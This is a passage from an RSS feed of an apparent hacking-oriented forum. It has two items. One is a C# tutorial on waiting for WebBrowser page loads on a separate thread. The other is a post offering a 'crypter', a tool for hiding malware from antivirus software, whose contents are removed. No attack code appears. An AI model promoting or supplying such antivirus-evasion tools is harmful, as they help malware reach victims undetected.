			<pubDate>Tue, 08 May 2012 13:52:27 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-rdg-tejon-crypter-1-71-2012</guid>
			<description><![CDATA[Hello!<br />
<br />
I Am Offering RDG Tejon Crypter v1.7.1 Private Edition - 2012!!!<br />
<br />
(content removed)<br />
<br />
Best Regards]]></description>
			<content:encoded><![CDATA[Hello!<br />
<br />
I Am Offering RDG Tejon Crypter v1.7.1 Private Edition - 2012!!!<br />
<br />
(content removed)<br />
<br />
Best Regards]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[WebBrowser DocumentComplete Solution]]></title>
			<link>http://leetcoders.org/Thread-webbrowser-documentcomplete-solution</link>
			<pubDate>Mon, 07 May 2012 22:25:14 +0000</pubDate>
			<guid isPermaLink="false">http://leetcoders.org/Thread-webbrowser-documentcomplete-solution</guid>
			<description><![CDATA[While WebRequests may be the best way to automate navigating through a website, I have ran into a couple of websites that for X reason I can only automate with WebBrowser control. With this I have had issue waiting until the webpage has finished loading especially when running seperate threads. While DoEvents() is an "option". It is STRONGLY DISCOURAGED!<br />
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>CSHARP Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="csharp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0600FF;">while</span> <span style="color: #000000;">&#40;</span>_wb.<span style="color: #0000FF;">ReadyState</span> <span style="color: #008000;">!=</span> WebBrowserReadyState.<span style="color: #0000FF;">Complete</span><span style="color: #000000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">Application.<span style="color: #0000FF;">DoEvents</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #000000;">&#125;</span></div></li></ol></pre></code></div><br /></div><br />
<br />
First off since I am running WebBrowser on a seperate thread I create a method to handle WebBrowser things.<br />
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>CSHARP Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="csharp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> wbCom<span style="color: #000000;">&#40;</span>Action method<span style="color: #000000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            _wb.<span style="color: #0000FF;">Invoke</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#40;</span>MethodInvoker<span style="color: #000000;">&#41;</span><span style="color: #FF0000;">delegate</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span> method<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span> <span style="color: #000000;">&#125;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #000000;">&#125;</span></div></li></ol></pre></code></div><br /></div><br />
<br />
I am having trouble explaining this part but then I create a method that will call my actual navigations methods prior to actually using the standard Navigate() method. It will take two parameters; an Action and a String. The Action Parameter will be a delegate method that will contain the actual navigation code.<br />
<br />
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>CSHARP Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="csharp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> wbNavigate<span style="color: #000000;">&#40;</span>Action nextAction,<span style="color: #FF0000;">string</span> expectedAbsolutePath<span style="color: #000000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            _wbWaiting <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span> <span style="color: #008080; font-style: italic;">// boolean field that indicates I am waiting For Document To Load </span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            wbCom<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">delegate</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            <span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                _pendingURL <span style="color: #008000;">=</span> expectedAbsolutePath<span style="color: #008000;">;</span> <span style="color: #008080; font-style: italic;">// Expected AbsolutePath after document has loaded</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                _wbUnity.<span style="color: #0000FF;">DocumentCompleted</span> <span style="color: #008000;">+=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> WebBrowserDocumentCompletedEventHandler<span style="color: #000000;">&#40;</span>_wb_DocumentCompleted<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span> <span style="color: #008080; font-style: italic;">// Add EventListener for WebBrowsers DocumentComplete</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                 wbCom<span style="color: #000000;">&#40;</span>nextAction<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><span style="color: #008080; font-style: italic;">//Execute actual Navigation</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #000000;">&#125;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            <span style="color: #0600FF;">while</span> <span style="color: #000000;">&#40;</span>_wbWaiting<span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span> <span style="color: #000000;">&#125;</span><span style="color: #008080; font-style: italic;">//Wait Until Document Has Loaded</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #000000;">&#125;</span></div></li></ol></pre></code></div><br /></div><br />
<br />
And here is the DocumentLoading event <br />
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>CSHARP Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="csharp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0600FF;">void</span> _wb_DocumentCompleted<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, WebBrowserDocumentCompletedEventArgs e<span style="color: #000000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            <span style="color: #0600FF;">if</span><span style="color: #000000;">&#40;</span>e.<span style="color: #0000FF;">Url</span>.<span style="color: #0000FF;">AbsolutePath</span>.<span style="color: #0000FF;">Equals</span><span style="color: #000000;">&#40;</span>_pendingURL<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            <span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                _wbWaiting <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                _wb.<span style="color: #0000FF;">DocumentCompleted</span> <span style="color: #008000;">-=</span> _wb_DocumentCompleted<span style="color: #008000;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            <span style="color: #000000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #000000;">&#125;</span></div></li></ol></pre></code></div><br /></div><br />
<br />
And it is used something like this<br />
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>CSHARP Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="csharp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">wbNavigate<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">delegate</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #0600FF;">try</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                    _wbUnity.<span style="color: #0000FF;">Document</span>.<span style="color: #0000FF;">GetElementById</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;MemSearch__ctl0_lnkUnlockMember&quot;</span><span style="color: #000000;">&#41;</span>.<span style="color: #0000FF;">InvokeMember</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;click&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #000000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #0600FF;">catch</span> <span style="color: #000000;">&#123;</span> <span style="color: #000000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            <span style="color: #000000;">&#125;</span>, mainPage.<span style="color: #0000FF;">AbsolutePath</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span> <span style="color: #008080; font-style: italic;">//Where mainPage is a Uri field</span></div></li></ol></pre></code></div><br /></div><br />
<br />
This is the way i Automate WebBrowser control on a seperate thread WITHOUT the use of Application.DoEvent()<br />
<br />
I hope this helps someone out there.]]></description>
			<content:encoded><![CDATA[While WebRequests may be the best way to automate navigating through a website, I have ran into a couple of websites that for X reason I can only automate with WebBrowser control. With this I have had issue waiting until the webpage has finished loading especially when running seperate threads. While DoEvents() is an "option". It is STRONGLY DISCOURAGED!<br />
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>CSHARP Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="csharp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0600FF;">while</span> <span style="color: #000000;">&#40;</span>_wb.<span style="color: #0000FF;">ReadyState</span> <span style="color: #008000;">!=</span> WebBrowserReadyState.<span style="color: #0000FF;">Complete</span><span style="color: #000000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">Application.<span style="color: #0000FF;">DoEvents</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #000000;">&#125;</span></div></li></ol></pre></code></div><br /></div><br />
<br />
First off since I am running WebBrowser on a seperate thread I create a method to handle WebBrowser things.<br />
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>CSHARP Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="csharp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> wbCom<span style="color: #000000;">&#40;</span>Action method<span style="color: #000000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            _wb.<span style="color: #0000FF;">Invoke</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#40;</span>MethodInvoker<span style="color: #000000;">&#41;</span><span style="color: #FF0000;">delegate</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span> method<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span> <span style="color: #000000;">&#125;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #000000;">&#125;</span></div></li></ol></pre></code></div><br /></div><br />
<br />
I am having trouble explaining this part but then I create a method that will call my actual navigations methods prior to actually using the standard Navigate() method. It will take two parameters; an Action and a String. The Action Parameter will be a delegate method that will contain the actual navigation code.<br />
<br />
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>CSHARP Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="csharp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> wbNavigate<span style="color: #000000;">&#40;</span>Action nextAction,<span style="color: #FF0000;">string</span> expectedAbsolutePath<span style="color: #000000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            _wbWaiting <span style="color: #008000;">=</span> true<span style="color: #008000;">;</span> <span style="color: #008080; font-style: italic;">// boolean field that indicates I am waiting For Document To Load </span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            wbCom<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">delegate</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            <span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                _pendingURL <span style="color: #008000;">=</span> expectedAbsolutePath<span style="color: #008000;">;</span> <span style="color: #008080; font-style: italic;">// Expected AbsolutePath after document has loaded</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                _wbUnity.<span style="color: #0000FF;">DocumentCompleted</span> <span style="color: #008000;">+=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> WebBrowserDocumentCompletedEventHandler<span style="color: #000000;">&#40;</span>_wb_DocumentCompleted<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span> <span style="color: #008080; font-style: italic;">// Add EventListener for WebBrowsers DocumentComplete</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                 wbCom<span style="color: #000000;">&#40;</span>nextAction<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span><span style="color: #008080; font-style: italic;">//Execute actual Navigation</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #000000;">&#125;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            <span style="color: #0600FF;">while</span> <span style="color: #000000;">&#40;</span>_wbWaiting<span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span> <span style="color: #000000;">&#125;</span><span style="color: #008080; font-style: italic;">//Wait Until Document Has Loaded</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #000000;">&#125;</span></div></li></ol></pre></code></div><br /></div><br />
<br />
And here is the DocumentLoading event <br />
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>CSHARP Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="csharp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #0600FF;">void</span> _wb_DocumentCompleted<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, WebBrowserDocumentCompletedEventArgs e<span style="color: #000000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            <span style="color: #0600FF;">if</span><span style="color: #000000;">&#40;</span>e.<span style="color: #0000FF;">Url</span>.<span style="color: #0000FF;">AbsolutePath</span>.<span style="color: #0000FF;">Equals</span><span style="color: #000000;">&#40;</span>_pendingURL<span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            <span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                _wbWaiting <span style="color: #008000;">=</span> false<span style="color: #008000;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                _wb.<span style="color: #0000FF;">DocumentCompleted</span> <span style="color: #008000;">-=</span> _wb_DocumentCompleted<span style="color: #008000;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            <span style="color: #000000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #000000;">&#125;</span></div></li></ol></pre></code></div><br /></div><br />
<br />
And it is used something like this<br />
<div class="geshicode_h" style='padding: 5px; background-color: #DFDFDF; border: 1px solid #AAAAAA; overflow:auto;'>&nbsp;&nbsp;&nbsp;&nbsp;<a href='http://www.infernodevelopment.com'>CSHARP Programming</a>
	<div class="geshicode_b" style='background-color: #FFFFFF; padding-left: 5px; border: 1px solid #BBBBBB; overflow:auto;'><code><pre class="csharp" style="font-family:monospace;"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">wbNavigate<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">delegate</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #0600FF;">try</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #000000;">&#123;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                    _wbUnity.<span style="color: #0000FF;">Document</span>.<span style="color: #0000FF;">GetElementById</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;MemSearch__ctl0_lnkUnlockMember&quot;</span><span style="color: #000000;">&#41;</span>.<span style="color: #0000FF;">InvokeMember</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;click&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #000000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #0600FF;">catch</span> <span style="color: #000000;">&#123;</span> <span style="color: #000000;">&#125;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            <span style="color: #000000;">&#125;</span>, mainPage.<span style="color: #0000FF;">AbsolutePath</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span> <span style="color: #008080; font-style: italic;">//Where mainPage is a Uri field</span></div></li></ol></pre></code></div><br /></div><br />
<br />
This is the way i Automate WebBrowser control on a seperate thread WITHOUT the use of Application.DoEvent()<br />
<br />
I hope this helps someone out there.]]></content:encoded>
		</item>
	</channel>
</rss>
